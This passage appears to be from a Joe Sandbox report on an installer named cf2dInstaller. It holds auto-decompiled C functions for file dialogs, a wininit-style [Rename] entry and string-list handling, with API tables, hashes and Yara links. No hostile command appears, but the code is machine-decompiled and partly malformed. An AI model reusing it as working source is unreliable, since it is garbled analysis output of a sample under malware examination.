				if( *0x2f944a0 != 0) {
					do {
						if( *_t35 != 0x7c) {
							_t35 = CharNextA(_t35);
						} else {
							 *_t35 =  *_t35 & 0x00000000;
							_t35 =  &(_t35[1]);
						}
					} while ( *_t35 != 0);
				}
				_t35[1] = _t35[1] & 0x00000000;
				GetCurrentDirectoryA(0x400, 0x2f940a0);
				_push( &_v88);
				if(_t55 == 0) {
					_t38 = GetOpenFileNameA();
				} else {
					_t38 = GetSaveFileNameA();
				}
				if(_t38 != 0) {
					L19:
					_push(0x2f948a0);
				} else {
					if(CommDlgExtendedError() != 0x3002) {
						L20:
						_push(0x2f94098);
					} else {
						 *0x2f948a0 =  *0x2f948a0 & 0x00000000;
						_push( &_v88);
						if(_t55 == 0) {
							_t43 = GetOpenFileNameA();
						} else {
							_t43 = GetSaveFileNameA();
						}
						if(_t43 == 0) {
							goto L20;
						} else {
							goto L19;
						}
					}
				}
				E02F91E27();
				return SetCurrentDirectoryA(??);
			}

0x02f910fa
0x02f91105
0x02f9110f
0x02f91117
0x02f9111f
0x02f91127
0x02f91135
0x02f9113c
0x02f9113f
0x02f91142
0x02f91145
0x02f9114c
0x02f91153
0x02f9115a
0x02f91168
0x02f91177
0x02f91179
0x02f9117a
0x02f91183
0x02f91193
0x02f91199
0x02f911a0
0x02f911a0
0x02f911ae
0x02f911b6
0x02f911b6
0x02f911c3
0x02f911c5
0x02f911c7
0x02f911ca
0x02f911d3
0x02f911cc
0x02f911cc
0x02f911cf
0x02f911cf
0x02f911d9
0x02f911c7
0x02f911de
0x02f911e9
0x02f911fa
0x02f911fb
0x02f91205
0x02f911fd
0x02f911fd
0x02f911fd
0x02f91209
0x02f91235
0x02f91235
0x02f9120b
0x02f91216
0x02f9123c
0x02f9123c
0x02f91218
0x02f91218
0x02f91224
0x02f91225
0x02f9122f
0x02f91227
0x02f91227
0x02f91227
0x02f91233
0x00000000
0x00000000
0x00000000
0x00000000
0x02f91233
0x02f91216
0x02f91241
0x02f91251

APIs

Part of subcall function 02F91DD9: lstrcpynA.KERNEL32(02F91054,?,?,?,02F91054,?), ref: 02F91E06
Part of subcall function 02F91DD9: GlobalFree.KERNEL32 ref: 02F91E16

lstrcmpiA.KERNEL32(?,save,02F944A0,00000400,02F948A0,00000400,?,00000005), ref: 02F91168
GetFileAttributesA.KERNEL32(02F948A0), ref: 02F9117A
lstrcpyA.KERNEL32(02F94CA0,02F948A0), ref: 02F91193
lstrcpyA.KERNEL32(02F944A0,All Files|*.*), ref: 02F911B6
CharNextA.USER32(02F944A0), ref: 02F911D3
GetCurrentDirectoryA.KERNEL32(00000400,02F940A0), ref: 02F911E9
GetSaveFileNameA.COMDLG32(0000004C), ref: 02F911FD
GetOpenFileNameA.COMDLG32(0000004C), ref: 02F91205
CommDlgExtendedError.COMDLG32 ref: 02F9120B
GetSaveFileNameA.COMDLG32(0000004C), ref: 02F91227
GetOpenFileNameA.COMDLG32(0000004C), ref: 02F9122F
SetCurrentDirectoryA.KERNEL32(02F940A0,02F948A0), ref: 02F91247

Strings

save, xrefs: 02F91162
L, xrefs: 02F91135
All Files|*.*, xrefs: 02F911B0

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: File$Name$CurrentDirectoryOpenSavelstrcpy$AttributesCharCommErrorExtendedFreeGlobalNextlstrcmpilstrcpyn
String ID: All Files|*.*$L$save
API String ID: 3853173656-601108453
Opcode ID: 9f17693be3c4e6ddd90d2f91863fe0cbf26ce456de04013c92807bbf918a32d5
Instruction ID: b7c77032a60f8ce13b7fbea8d4d652d2016254182c50e1427182ac82bb5bfac6
Opcode Fuzzy Hash: 9f17693be3c4e6ddd90d2f91863fe0cbf26ce456de04013c92807bbf918a32d5
Instruction Fuzzy Hash: 4C41C175E4028DAFFF10AF64E848B5BBFA8AB16BD8F500465E60AE6150C7748859CF70

Uniqueness

Uniqueness Score: -1.00%

Function 0040575A, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040575A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				intOrPtr _t18;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405D2E(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x42ebf0 =  *0x42ebf0 + 1;
						return _t20;
					}
				}
				 *0x42c170 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x42bbe8, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x42b7e8, "%s=%s\r\n", 0x42c170, 0x42bbe8);
						_t18 =  *0x42eb70; // 0x24c6020
						_t56 = _t55 + 0x10;
						E00405A2E(_t43, 0x400, 0x42bbe8, 0x42bbe8,  *((intOrPtr*)(_t18 + 0x128)));
						_t20 = E004056E3(0x42bbe8, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405658(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405658(_t26 + 0xa, 0x409330);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E004056A4(_t51 + _t29, 0x42b7e8, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E00405A0C(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004056E3(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x42c170, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x00405760
0x00405767
0x0040576b
0x00405774
0x00405778
0x004058b7
0x004058b7
0x00000000
0x004058b7
0x00405778
0x00405784
0x0040579a
0x004057c2
0x004057cd
0x004057d1
0x004057f1
0x004057f3
0x004057f8
0x00405802
0x0040580f
0x00405814
0x00405819
0x0040581d
0x00000000
0x00000000
0x0040582c
0x0040582e
0x0040583b
0x0040583f
0x004058b0
0x004058b1
0x00000000
0x0040585b
0x00405868
0x004058cd
0x004058d4
0x0040587b
0x0040587b
0x0040587d
0x00405886
0x00405891
0x004058a3
0x004058aa
0x00000000
0x004058aa
0x004058d6
0x004058d7
0x004058dc
0x004058de
0x004058eb
0x004058eb
0x004058ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004058e0
0x004058e0
0x004058e3
0x004058e6
0x004058e7
0x00000000
0x004058e0
0x00405873
0x00405878
0x00000000
0x00405878
0x0040583f
0x0040579c
0x004057a7
0x004057b0
0x004057b4
0x00000000
0x00000000
0x004057b4
0x004058c1

APIs

Part of subcall function 00405D2E: GetModuleHandleA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D40
Part of subcall function 00405D2E: LoadLibraryA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D4B
Part of subcall function 00405D2E: GetProcAddress.KERNEL32(00000000,?,?,00000000,0040313D,00000008), ref: 00405D5C

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,004054EF,?,00000000,000000F1,?), ref: 004057A7
GetShortPathNameA.KERNEL32(?,0042C170,00000400), ref: 004057B0
GetShortPathNameA.KERNEL32(00000000,0042BBE8,00000400), ref: 004057CD
wsprintfA.USER32 ref: 004057EB
GetFileSize.KERNEL32(00000000,00000000,0042BBE8,C0000000,00000004,0042BBE8,?,?,?,00000000,000000F1,?), ref: 00405826
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405835
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 0040584B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,0042B7E8,00000000,-0000000A,00409330,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405891
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004058A3
GlobalFree.KERNEL32 ref: 004058AA
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 004058B1

Part of subcall function 00405658: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405866,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040565F
Part of subcall function 00405658: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405866,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040568F

Strings

%s=%s, xrefs: 004057E1
[Rename], xrefs: 0040585B, 0040586D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
API String ID: 3772915668-1727408572
Opcode ID: d6848731387948ff75e39ed6852cb277ecc17c22ae43fa64dc91eb97f8f45519
Instruction ID: 426fb2abaf3c2c6495405564ff4e517f65c757b77f6bed08917e1be6c8ffeb7f
Opcode Fuzzy Hash: d6848731387948ff75e39ed6852cb277ecc17c22ae43fa64dc91eb97f8f45519
Instruction Fuzzy Hash: 6341FF32606B15ABE3206B619C49F6B3A5CDF80705F004436FD05F62C2E678E8118EBD

Uniqueness

Uniqueness Score: -1.00%

Function 70551E04, Relevance: 21.2, APIs: 12, Strings: 2, Instructions: 196
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E70551E04(void* __eflags, long _a8, signed int _a12, void* _a16, intOrPtr* _a20) {
				int _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				intOrPtr _v28;
				void* _t70;
				intOrPtr _t74;
				void* _t79;
				intOrPtr _t80;
				void* _t88;
				signed int _t89;
				long _t107;
				signed int _t109;
				intOrPtr* _t110;
				intOrPtr* _t116;
				void* _t117;
				intOrPtr* _t119;
				void* _t121;
				void* _t122;

				_t107 = _a8;
				 *0x70554030 = _a16;
				 *0x70554034 = _a12;
				 *0x7055402c = _t107;
				 *((intOrPtr*)(_a20 + 0xc))( *0x70554010, E7055176B);
				_t70 = GlobalAlloc(0, _t107 + 1);
				_t115 = _t70;
				_v16 = _t70;
				if(E70552058(_t70) != 0) {
					L35:
					GlobalFree(_v16);
					_t74 =  *_a20;
					 *((intOrPtr*)(_t74 + 8)) = 1;
					return _t74;
				}
				_a8 = E70551070(_t115);
				_v12 = GlobalAlloc(0, _t107);
				if(_a8 == 0) {
					_a8 = E70551520(_t115);
				}
				if(E70552058(_t115) != 0) {
					L34:
					GlobalFree(_v12);
					goto L35;
				} else {
					_t79 = E70552058(_v12);
					if(_t79 != 0 || _a8 == _t79) {
						goto L34;
					} else {
						_t116 =  *0x70553008;
						_t80 =  *_t116(_v12);
						_v28 = _t80;
						_v20 =  *_t116(_v16);
						_t117 = GlobalAlloc(0, _t107);
						_a16 = _t117;
						_t121 = GlobalAlloc(0, _t107);
						_v8 = 0;
						_v24 = 0;
						if(E70552058(_t117) != 0) {
							L15:
							_t109 = 0;
							 *_t121 = 0;
							if(_v20 == 0 && _v8 == 0) {
								E70551100(_a8, _t117);
								E70551670(_a8, _t117, 0x70553066);
								_t122 = _t122 + 0x14;
							}
							_a12 = _a12 & _t109;
							if(_v20 < _t109) {
								L33:
								GlobalFree(_t117);
								GlobalFree(_t121);
								goto L34;
							} else {
								do {
									_t87 = _v12;
									if( *_v12 != 0) {
										_t119 = _v16 + _t109;
										_t88 = E7055177D(_v16, _t119, _t87, _v28, _v24);
										_t122 = _t122 + 0x10;
										if(_t88 != 0) {
											_t89 = _a12;
											 *((char*)(_t89 + _t121)) =  *_t119;
											 *((char*)(_t89 + _t121 + 1)) = 0;
											_a12 = _t89 + 1;
										} else {
											if( *_t121 != _t88 || _v8 == _t88) {
												E70551100(_a8, _a16);
												E70551670(_a8, _a16, _t121);
												_t122 = _t122 + 0x14;
											}
											_a12 = _a12 & 0x00000000;
											_t109 = _t109 + _v28 - 1;
											 *_t121 = 0;
										}
										_t117 = _a16;
									} else {
										E70551100(_a8, _t117);
										 *_t121 =  *((intOrPtr*)(_v16 + _t109));
										 *((char*)(_t121 + 1)) = 0;
										E70551670(_a8, _t117, _t121);
										_t122 = _t122 + 0x14;
									}
									_t109 = _t109 + 1;
								} while (_t109 <= _v20);
								if(_a12 > 0 && ( *_t121 != 0 || _v8 == 0)) {
									E70551100(_a8, _t117);
									E70551670(_a8, _t117, _t121);
								}
								goto L33;
							}
						}
						_t110 =  *0x7055300c;
						do {
							_push("/noempty");
							_push(_t117);
							if( *_t110() != 0) {
								_push("/ignorecase");
								_push(_t117);
								if( *_t110() != 0) {
									E70552098(_t117);
									goto L15;
								}
								_v24 = 1;
								goto L12;
							}
							_v8 = 1;
							L12:
						} while (E70552058(_t117) == 0);
						goto L15;
					}
				}
			}

0x70551e0e
0x70551e13
0x70551e26
0x70551e2e
0x70551e34
0x70551e43
0x70551e45
0x70551e48
0x70551e52
0x70552021
0x70552024
0x7055202d
0x70552031
0x7055203a
0x7055203a
0x70551e62
0x70551e6b
0x70551e6e
0x70551e77
0x70551e77
0x70551e82
0x70552018
0x7055201b
0x00000000
0x70551e88
0x70551e8b
0x70551e92
0x00000000
0x70551ea1
0x70551ea4
0x70551eaa
0x70551eaf
0x70551eb7
0x70551ebd
0x70551ec2
0x70551ec8
0x70551eca
0x70551ecd
0x70551ed7
0x70551f19
0x70551f19
0x70551f1b
0x70551f21
0x70551f2c
0x70551f3a
0x70551f3f
0x70551f3f
0x70551f42
0x70551f48
0x7055200c
0x70552013
0x70552016
0x00000000
0x70551f4e
0x70551f4e
0x70551f4e
0x70551f54
0x70551f83
0x70551f88
0x70551f8d
0x70551f92
0x70551fc7
0x70551fcc
0x70551fcf
0x70551fd5
0x70551f94
0x70551f96
0x70551fa3
0x70551faf
0x70551fb4
0x70551fb4
0x70551fba
0x70551fbe
0x70551fc2
0x70551fc2
0x70551fd8
0x70551f56
0x70551f5a
0x70551f6a
0x70551f6c
0x70551f70
0x70551f75
0x70551f75
0x70551fdb
0x70551fdc
0x70551fe9
0x70551ffa
0x70552004
0x70552009
0x00000000
0x70551fe9
0x70551f48
0x70551ed9
0x70551edf
0x70551edf
0x70551ee4
0x70551ee9
0x70551ef4
0x70551ef9
0x70551efe
0x70551f14
0x00000000
0x70551f14
0x70551f00
0x00000000
0x70551f00
0x70551eeb
0x70551f07
0x70551f0d
0x00000000
0x70551f11
0x70551e92

APIs

GlobalAlloc.KERNEL32(00000000,?), ref: 70551E43

Part of subcall function 70552058: lstrcpy.KERNEL32(?,00000004), ref: 70552077
Part of subcall function 70552058: GlobalFree.KERNEL32(00000000), ref: 70552087

GlobalFree.KERNEL32(?), ref: 70552024

Part of subcall function 70551070: lstrcmp.KERNEL32(00000000,?), ref: 70551094

GlobalAlloc.KERNEL32(00000000,?,00000000), ref: 70551E65
lstrlen.KERNEL32(?,?,00000000), ref: 70551EAA
lstrlen.KERNEL32(00000000), ref: 70551EB2
GlobalAlloc.KERNEL32(00000000,?), ref: 70551EBA
GlobalAlloc.KERNEL32(00000000,?), ref: 70551EC5
lstrcmpi.KERNEL32(00000000,/noempty), ref: 70551EE5
GlobalFree.KERNEL32(00000000), ref: 70552013

Part of subcall function 70551520: lstrcmp.KERNEL32(00000000,?), ref: 70551539
Part of subcall function 70551520: GlobalAlloc.KERNEL32(00000000,00000020,00000000,00000000,?,?,705519FC,00000000), ref: 70551551
Part of subcall function 70551520: lstrlen.KERNEL32(?,?,705519FC,00000000), ref: 7055155A
Part of subcall function 70551520: GlobalAlloc.KERNEL32(00000000,00000001,?,705519FC,00000000), ref: 70551563
Part of subcall function 70551520: lstrcpy.KERNEL32(00000000,?), ref: 7055156D

lstrcmpi.KERNEL32(00000000,/ignorecase), ref: 70551EFA
GlobalFree.KERNEL32(00000000), ref: 70552016
GlobalFree.KERNEL32(?), ref: 7055201B

Strings

/ignorecase, xrefs: 70551EF4
/noempty, xrefs: 70551EDF

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Alloc$Free$lstrlen$lstrcmplstrcmpilstrcpy
String ID: /ignorecase$/noempty
API String ID: 3940159027-3658956708
Opcode ID: a6391ab2eca5052d79f3c0ab1823c0f034477b2a656411947c3ed4127761b4ed
Instruction ID: f052e38eab4a3a7aea7204262fdba05cf9b45d35d139b3f2a48673ced11a993a
Opcode Fuzzy Hash: a6391ab2eca5052d79f3c0ab1823c0f034477b2a656411947c3ed4127761b4ed
Instruction Fuzzy Hash: 2E61A171800249EFDB129F65CC88B9E7FB7EF86354F10406BF80596261E770AA48DB65

Uniqueness

Uniqueness Score: -1.00%

Function 100025FE, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E100025FE(void* __edx, intOrPtr* _a4) {
				intOrPtr _v4;
				intOrPtr* _t18;
				intOrPtr _t21;
				void* _t23;
				short* _t24;
				void* _t25;
				void* _t30;
				void* _t32;
				void* _t34;
				int _t36;
				void* _t39;
				void* _t42;
				intOrPtr _t52;
				short** _t55;
				void* _t60;
				int _t61;
				int _t62;
				void* _t63;
				short** _t64;
				void* _t65;
				void* _t66;

				_t60 = __edx;
				_t18 = _a4;
				_t52 =  *((intOrPtr*)(_t18 + 0x814));
				_v4 = _t52;
				_t55 = (_t52 + 0x41 << 5) + _t18;
				do {
					if( *((intOrPtr*)(_t55 - 4)) != 0xffffffff) {
						_t64 = _t55;
					} else {
						_t64 =  *_t55;
					}
					_t65 = E10001541();
					_t61 = 0;
					_t21 =  *((intOrPtr*)(_t55 - 8));
					if(_t21 == 0) {
						lstrcpyA(_t65, 0x10004034);
					} else {
						_t30 = _t21 - 1;
						if(_t30 == 0) {
							_push( *_t64);
							goto L12;
						} else {
							_t32 = _t30 - 1;
							if(_t32 == 0) {
								E1000176C(_t60,  *_t64, _t64[1], _t65);
								goto L13;
							} else {
								_t34 = _t32 - 1;
								if(_t34 == 0) {
									_t62 = lstrlenA( *_t64);
									_t36 =  *0x10004058;
									if(_t62 >= _t36) {
										_t62 = _t36 - 1;
									}
									_t7 = _t62 + 1; // 0x1
									lstrcpynA(_t65,  *_t64, _t7);
									 *(_t62 + _t65) =  *(_t62 + _t65) & 0x00000000;
									goto L15;
								} else {
									_t39 = _t34 - 1;
									if(_t39 == 0) {
										WideCharToMultiByte(0, 0,  *_t64,  *0x10004058, _t65,  *0x10004058, 0, 0);
									} else {
										_t42 = _t39 - 1;
										if(_t42 == 0) {
											_t63 = GlobalAlloc(0x40,  *0x10004058 +  *0x10004058);
											_push( *0x10004058 +  *0x10004058);
											_push(_t63);
											_push( *_t64);
											" {<u@u<u"();
											WideCharToMultiByte(0, 0, _t63,  *0x10004058, _t65,  *0x10004058, 0, 0);
											GlobalFree(_t63);
											L15:
											_t61 = 0;
										} else {
											if(_t42 == 1) {
												_push( *_t55);
												L12:
												wsprintfA(_t65, 0x10004008);
												L13:
												_t66 = _t66 + 0xc;
											}
										}
									}
								}
							}
						}
					}
					_t23 = _t55[5];
					if(_t23 != _t61 && ( *_a4 != 2 ||  *((intOrPtr*)(_t55 - 4)) > _t61)) {
						GlobalFree(_t23);
					}
					_t24 = _t55[4];
					if(_t24 != _t61) {
						if(_t24 != 0xffffffff) {
							if(_t24 > _t61) {
								E1000160E(_t24 - 1, _t65);
								goto L32;
							}
						} else {
							E1000159E(_t65);
							L32:
						}
					}
					_t25 = GlobalFree(_t65);
					_v4 = _v4 - 1;
					_t55 = _t55 - 0x20;
				} while (_v4 >= _t61);
				return _t25;
			}

0x100025fe
0x100025ff
0x10002606
0x1000260d
0x10002617
0x10002619
0x1000261d
0x10002623
0x1000261f
0x1000261f
0x1000261f
0x1000262a
0x1000262f
0x10002631
0x10002633
0x1000270c
0x10002639
0x10002639
0x1000263a
0x100026ff
0x00000000
0x10002640
0x10002640
0x10002641
0x100026f5
0x00000000
0x10002647
0x10002647
0x10002648
0x100026ce
0x100026d0
0x100026d7
0x100026d9
0x100026d9
0x100026dc
0x100026e3
0x100026e9
0x00000000
0x1000264a
0x1000264a
0x1000264b
0x100026be
0x1000264d
0x1000264d
0x1000264e
0x1000267d
0x10002686
0x10002687
0x10002688
0x1000268a
0x1000269f
0x100026a6
0x100026ac
0x100026ac
0x10002650
0x10002651
0x10002657
0x10002659
0x1000265f
0x10002665
0x10002665
0x10002665
0x10002651
0x1000264e
0x1000264b
0x10002648
0x10002641
0x1000263a
0x10002712
0x10002717
0x10002728
0x10002728
0x1000272e
0x10002733
0x10002738
0x10002744
0x10002749
0x00000000
0x1000274e
0x1000273a
0x1000273b
0x1000274f
0x1000274f
0x10002738
0x10002751
0x10002757
0x1000275b
0x1000275e
0x1000276d

APIs

wsprintfA.USER32 ref: 1000265F
GlobalAlloc.KERNEL32(00000040,?,?,?,?,00000000,00000001,10001A8A,00000000), ref: 10002677
StringFromGUID2.OLE32(?,00000000,?,?,?,?,00000000,00000001,10001A8A,00000000), ref: 1000268A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000000,00000001,10001A8A,00000000), ref: 1000269F
GlobalFree.KERNEL32 ref: 100026A6

Part of subcall function 1000160E: lstrcpyA.KERNEL32(-10004047,00000000,?,1000118F,?,00000000), ref: 10001636

GlobalFree.KERNEL32 ref: 10002728
GlobalFree.KERNEL32 ref: 10002751

Strings

{<u@u<u, xrefs: 1000268A

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$AllocByteCharFromMultiStringWidelstrcpywsprintf
String ID: {<u@u<u
API String ID: 2278267121-2852364109
Opcode ID: f2d90fb7604344b88e62606892e29dab83ffb9f5e480ef13eb80547e1e232e8e
Instruction ID: 08b3d8036d164c5881487be7a8a394305a4816547ccba51f0c52e2d45aca7b17
Opcode Fuzzy Hash: f2d90fb7604344b88e62606892e29dab83ffb9f5e480ef13eb80547e1e232e8e
Instruction Fuzzy Hash: 97419D71109555EFF712DF24CC88E2BBBEDFB843C0B124519FA45C616DDB32AC509A21

Uniqueness

Uniqueness Score: -1.00%

Function 70551C97, Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 123
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E70551C97(void* __eflags, long _a8, signed int _a12, void* _a16, intOrPtr* _a20) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t47;
				intOrPtr _t49;
				int _t51;
				void* _t52;
				intOrPtr _t53;
				char* _t56;
				intOrPtr _t65;
				void* _t74;
				long _t75;
				void* _t77;
				void* _t80;
				void* _t82;
				void* _t83;
				intOrPtr _t86;

				_t75 = _a8;
				 *0x70554030 = _a16;
				 *0x70554034 = _a12;
				 *0x7055402c = _t75;
				 *((intOrPtr*)(_a20 + 0xc))( *0x70554010, E7055176B, _t83, _t74);
				_a12 = _a12 & 0x00000000;
				_a16 = GlobalAlloc(0, _t75);
				if(E70552058(_t45) != 0) {
					L22:
					_t47 = GlobalFree(_a16);
					if(_a12 != 0) {
						return _t47;
					}
					_t49 =  *_a20;
					 *((intOrPtr*)(_t49 + 8)) = 1;
					return _t49;
				}
				_t80 = E70551070(_a16);
				_t51 = E70552058(_a16);
				if(_t51 != 0 || _t80 == 0) {
					L21:
					goto L22;
				} else {
					_t52 = GlobalAlloc(_t51, _t75);
					_t86 =  *((intOrPtr*)(_t80 + 4));
					_t77 = _t52;
					_t82 = 0;
					_t53 =  *0x70553008(_a16);
					_v8 = _v8 & 0;
					_v16 = _t53;
					if(E70552058(_t77) == 0) {
						_push("/noempty");
						_push(_t77);
						if( *0x7055300c() != 0) {
							E70552098(_t77);
						} else {
							_v8 = 1;
						}
					}
					_a12 = 1;
					 *0x70553010(_t77, 0x70553066);
					while(_t86 != 0) {
						_t56 =  *((intOrPtr*)(_t86 + 4));
						if( *_t56 != 0 || _v8 == 0) {
							_v12 =  *0x70553008(_t56);
							 *0x70553018(_t82 + _t77,  *((intOrPtr*)(_t86 + 4)), _a8 - _t82 - 1);
							_t82 = _t82 + _v12;
							if(_t82 >= _a8) {
								L19:
								_a12 = _a12 & 0x00000000;
								L20:
								E70552098(_t77);
								GlobalFree(_t77);
								goto L21;
							}
							_t65 =  *((intOrPtr*)(_t86 + 8));
							if(_t65 != 0 && ( *((char*)( *((intOrPtr*)(_t65 + 4)))) != 0 || _v8 == 0)) {
								 *0x70553018(_t82 + _t77, _a16, _a8 - _t82 - 1);
								_t82 = _t82 + _v16;
							}
							if(_t82 >= _a8) {
								goto L19;
							} else {
								goto L16;
							}
						} else {
							L16:
							_t86 =  *((intOrPtr*)(_t86 + 8));
							continue;
						}
					}
					goto L20;
				}
			}

0x70551ca1
0x70551ca5
0x70551cb8
0x70551cc0
0x70551cc6
0x70551ccf
0x70551cd9
0x70551ce3
0x70551de5
0x70551de8
0x70551df4
0x70551e03
0x70551e03
0x70551df9
0x70551dfb
0x00000000
0x70551dfb
0x70551cf6
0x70551cf8
0x70551cff
0x70551de4
0x00000000
0x70551d0d
0x70551d0f
0x70551d11
0x70551d17
0x70551d19
0x70551d1b
0x70551d21
0x70551d25
0x70551d2f
0x70551d31
0x70551d36
0x70551d3f
0x70551d4b
0x70551d41
0x70551d41
0x70551d41
0x70551d3f
0x70551d56
0x70551d5d
0x70551dcd
0x70551d65
0x70551d6b
0x70551d7a
0x70551d8b
0x70551d91
0x70551d97
0x70551dd3
0x70551dd3
0x70551dd7
0x70551dd8
0x70551dde
0x00000000
0x70551dde
0x70551d99
0x70551d9e
0x70551dbc
0x70551dc2
0x70551dc2
0x70551dc8
0x00000000
0x00000000
0x00000000
0x00000000
0x70551dca
0x70551dca
0x70551dca
0x00000000
0x70551dca
0x70551d6b
0x00000000
0x70551dd1

APIs

GlobalAlloc.KERNEL32(00000000,?), ref: 70551CD6

